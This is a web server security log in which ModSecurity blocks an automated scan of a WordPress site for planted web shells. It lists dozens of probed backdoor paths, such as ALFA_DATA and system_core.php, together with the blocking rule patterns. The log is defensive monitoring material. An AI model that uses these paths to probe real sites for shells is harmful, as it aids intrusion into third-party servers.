[Mon May 04 16:09:22.078608 2026] [:error] [pid 61044:tid 61104] [client 193.37.32.134:36163] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "afhUMkw8w2zZZXI6H1ttoAAAAAI"]
[Mon May 04 16:09:22.548293 2026] [:error] [pid 3341:tid 3351] [client 193.37.32.158:64549] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-activate.php"] [unique_id "afhUMk9o3_LordU0wW705gAAAIc"]
[Mon May 04 16:09:22.784956 2026] [:error] [pid 61042:tid 61060] [client 193.37.32.149:65265] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/chosen.php"] [unique_id "afhUMknAPPS1fjubA9QwGAAAAM4"]
[Mon May 04 16:09:38.188163 2026] [:error] [pid 61150:tid 61166] [client 193.37.32.139:32321] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/assets/"] [unique_id "afhUQu8QXWVLiwIGVpdGMgAAAU0"]
[Mon May 04 16:09:43.452380 2026] [:error] [pid 61044:tid 61102] [client 193.37.32.170:52111] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/login.php"] [unique_id "afhUR0w8w2zZZXI6H1ttvAAAAAA"]
[Mon May 04 16:09:53.690790 2026] [:error] [pid 61150:tid 61170] [client 193.37.32.106:31967] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/panel.php"] [unique_id "afhUUe8QXWVLiwIGVpdGagAAAVE"]
[Mon May 04 16:10:04.658252 2026] [:error] [pid 61043:tid 61095] [client 193.37.32.134:28629] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "afhUXJ8-LwtfURjiAbByfQAAAFQ"]
[Mon May 04 16:10:10.042161 2026] [:error] [pid 61044:tid 61112] [client 193.37.32.135:64591] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/"] [unique_id "afhUYkw8w2zZZXI6H1ttwwAAAAo"]
[Mon May 04 16:10:30.475797 2026] [:error] [pid 61044:tid 61108] [client 193.37.32.159:60781] [client 193.37.32.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentynineteen/sass/site/"] [unique_id "afhUdkw8w2zZZXI6H1tt0QAAAAY"]
[Mon May 04 16:10:30.890604 2026] [:error] [pid 61043:tid 61092] [client 193.37.32.162:56079] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-config-backup.php"] [unique_id "afhUdp8-LwtfURjiAbByjAAAAFE"]
[Mon May 04 16:10:31.256455 2026] [:error] [pid 61044:tid 61121] [client 193.37.32.149:39857] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "afhUd0w8w2zZZXI6H1tt1AAAABM"]
[Mon May 04 16:10:41.568033 2026] [:error] [pid 61150:tid 61157] [client 193.37.32.173:24137] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "afhUge8QXWVLiwIGVpdGnAAAAUQ"]
[Mon May 04 16:10:56.863589 2026] [:error] [pid 61150:tid 61155] [client 193.37.32.132:55489] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "afhUkO8QXWVLiwIGVpdGxAAAAUI"]
[Mon May 04 16:10:57.093629 2026] [:error] [pid 61150:tid 61173] [client 193.37.32.139:21037] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "afhUke8QXWVLiwIGVpdGxgAAAVQ"]
[Mon May 04 16:11:17.354513 2026] [:error] [pid 61044:tid 61119] [client 193.37.32.173:25079] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "afhUpUw8w2zZZXI6H1tuCgAAABE"]
[Mon May 04 16:11:22.793168 2026] [:error] [pid 3341:tid 3349] [client 193.37.32.131:24283] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "afhUqk9o3_LordU0wW71TAAAAIU"]
[Mon May 04 16:11:23.471567 2026] [:error] [pid 61044:tid 61107] [client 193.37.32.136:47671] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comments-pagination-next/"] [unique_id "afhUq0w8w2zZZXI6H1tuDAAAAAU"]
[Mon May 04 16:11:28.853698 2026] [:error] [pid 61043:tid 61098] [client 193.37.32.139:50931] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/class.php"] [unique_id "afhUsJ8-LwtfURjiAbBy6gAAAFc"]
[Mon May 04 16:11:29.176568 2026] [:error] [pid 3341:tid 3356] [client 193.37.32.155:48355] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/colors/"] [unique_id "afhUsU9o3_LordU0wW71YQAAAIw"]
[Mon May 04 16:11:29.385956 2026] [:error] [pid 3341:tid 3365] [client 193.37.32.149:50523] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/"] [unique_id "afhUsU9o3_LordU0wW71YwAAAJU"]
[Mon May 04 16:11:44.692586 2026] [:error] [pid 61150:tid 61176] [client 193.37.32.148:35029] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/about.php"] [unique_id "afhUwO8QXWVLiwIGVpdG5QAAAVc"]
[Mon May 04 16:11:49.995164 2026] [:error] [pid 61043:tid 61080] [client 193.37.32.145:53173] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/config.php"] [unique_id "afhUxZ8-LwtfURjiAbBzCQAAAEU"]
[Mon May 04 16:12:05.461783 2026] [:error] [pid 3341:tid 3357] [client 193.37.32.175:48587] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-blog.php"] [unique_id "afhU1U9o3_LordU0wW71fgAAAI0"]
[Mon May 04 16:12:10.762832 2026] [:error] [pid 61150:tid 61158] [client 193.37.32.132:52199] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "afhU2u8QXWVLiwIGVpdHBAAAAUU"]
[Mon May 04 16:12:21.346530 2026] [:error] [pid 61150:tid 61165] [client 193.37.32.155:58045] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "afhU5e8QXWVLiwIGVpdHCQAAAUw"]
[Mon May 04 16:12:26.766770 2026] [:error] [pid 61043:tid 61084] [client 193.37.32.134:28909] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/legacy-widget/"] [unique_id "afhU6p8-LwtfURjiAbBzLwAAAEk"]
[Mon May 04 16:12:42.078480 2026] [:error] [pid 61043:tid 61096] [client 193.37.32.131:35163] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "afhU-p8-LwtfURjiAbBzXwAAAFU"]
[Mon May 04 16:12:47.535869 2026] [:error] [pid 61043:tid 61081] [client 193.37.32.135:50753] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "afhU_58-LwtfURjiAbBzcwAAAEY"]
[Mon May 04 16:13:08.260608 2026] [:error] [pid 61042:tid 61047] [client 193.37.32.109:50237] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/chosen.php"] [unique_id "afhVFEnAPPS1fjubA9QwuQAAAME"]
[Mon May 04 16:13:23.665710 2026] [:error] [pid 61043:tid 61087] [client 193.37.32.138:41975] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/"] [unique_id "afhVI58-LwtfURjiAbBz1gAAAEw"]
[Mon May 04 16:13:24.592226 2026] [:error] [pid 61042:tid 61069] [client 193.37.32.148:47985] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/includes/import/about.php"] [unique_id "afhVJEnAPPS1fjubA9QwwgAAANc"]
[Mon May 04 16:13:24.949117 2026] [:error] [pid 61042:tid 61065] [client 193.37.32.136:34159] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/paragraph/"] [unique_id "afhVJEnAPPS1fjubA9QwwwAAANM"]
[Mon May 04 16:13:25.270744 2026] [:error] [pid 61150:tid 61160] [client 193.37.32.158:26859] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-pagination/"] [unique_id "afhVJe8QXWVLiwIGVpdHfQAAAUc"]
[Mon May 04 16:13:25.472561 2026] [:error] [pid 61043:tid 61094] [client 193.37.32.139:33607] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/"] [unique_id "afhVJZ8-LwtfURjiAbBz2QAAAFM"]
[Mon May 04 16:13:30.738249 2026] [:error] [pid 61043:tid 61083] [client 193.37.32.170:45881] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentythree/"] [unique_id "afhVKp8-LwtfURjiAbBz4wAAAEg"]
[Mon May 04 16:13:36.077508 2026] [:error] [pid 3341:tid 3365] [client 193.37.32.138:20487] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/222.php"] [unique_id "afhVME9o3_LordU0wW711gAAAJU"]
[Mon May 04 16:14:31.387830 2026] [:error] [pid 61043:tid 61089] [client 193.37.32.134:64159] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist"] [unique_id "afhVZ58-LwtfURjiAbB0hQAAAE4"]
[Mon May 04 16:14:31.646600 2026] [:error] [pid 61150:tid 61176] [client 193.37.32.134:46631] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comments-less.php"] [unique_id "afhVZ-8QXWVLiwIGVpdH5gAAAVc"]
[Mon May 04 16:14:41.963328 2026] [:error] [pid 61150:tid 61174] [client 193.37.32.138:20417] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Nxploited/class-payment.php"] [unique_id "afhVce8QXWVLiwIGVpdH8gAAAVU"]
[Mon May 04 16:15:02.181902 2026] [:error] [pid 61043:tid 61088] [client 193.37.32.135:53823] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-theme-json-resolver-sql.php"] [unique_id "afhVhp8-LwtfURjiAbB00AAAAE0"]
[Mon May 04 16:15:12.447090 2026] [:error] [pid 61043:tid 61083] [client 193.37.32.162:54451] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/interactivity-api/"] [unique_id "afhVkJ8-LwtfURjiAbB09gAAAEg"]
[Mon May 04 16:15:17.759566 2026] [:error] [pid 61043:tid 61084] [client 193.37.32.106:48533] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/"] [unique_id "afhVlZ8-LwtfURjiAbB1AgAAAEk"]
[Mon May 04 16:15:18.294842 2026] [:error] [pid 61150:tid 61173] [client 193.37.32.106:20939] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyone/assets/"] [unique_id "afhVlu8QXWVLiwIGVpdIIAAAAVQ"]
[Mon May 04 16:15:33.699064 2026] [:error] [pid 61044:tid 61111] [client 193.37.32.106:28099] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "afhVpUw8w2zZZXI6H1tu-wAAAAk"]
[Mon May 04 16:15:43.997063 2026] [:error] [pid 3341:tid 3367] [client 193.37.32.149:24371] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/system.php"] [unique_id "afhVr09o3_LordU0wW72OQAAAJc"]
[Mon May 04 16:15:49.245965 2026] [:error] [pid 61043:tid 61089] [client 193.37.32.138:51235] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sc_1.php"] [unique_id "afhVtZ8-LwtfURjiAbB1dwAAAE4"]
[Mon May 04 16:15:49.463365 2026] [:error] [pid 3341:tid 3355] [client 193.37.32.134:34671] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/gk.php"] [unique_id "afhVtU9o3_LordU0wW72PAAAAIs"]
[Mon May 04 16:15:54.749853 2026] [:error] [pid 61150:tid 61170] [client 193.37.32.138:36871] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/system_core.php"] [unique_id "afhVuu8QXWVLiwIGVpdIdgAAAVE"]
[Mon May 04 16:15:55.363251 2026] [:error] [pid 61044:tid 61108] [client 193.37.32.148:58577] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/system_core.php"] [unique_id "afhVu0w8w2zZZXI6H1tvBwAAAAY"]
[Mon May 04 16:16:35.973548 2026] [:error] [pid 61044:tid 61110] [client 193.37.32.131:65271] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/st-importer/system_core.php"] [unique_id "afhV40w8w2zZZXI6H1tvHgAAAAg"]
[Mon May 04 16:16:36.178052 2026] [:error] [pid 61042:tid 61048] [client 193.37.32.175:41217] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/system_core.php"] [unique_id "afhV5EnAPPS1fjubA9QxTAAAAMI"]
[Mon May 04 16:16:36.474041 2026] [:error] [pid 61043:tid 61089] [client 193.37.32.145:51483] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wc-logs/system_core.php"] [unique_id "afhV5J8-LwtfURjiAbB15AAAAE4"]
[Mon May 04 16:16:36.749178 2026] [:error] [pid 61042:tid 61070] [client 193.37.32.173:22871] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/woocommerce_uploads/system_core.php"] [unique_id "afhV5EnAPPS1fjubA9QxTgAAANg"]
[Mon May 04 16:16:37.168506 2026] [:error] [pid 61150:tid 61164] [client 193.37.32.148:56581] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wpforms/cache/system_core.php"] [unique_id "afhV5e8QXWVLiwIGVpdIpwAAAUs"]
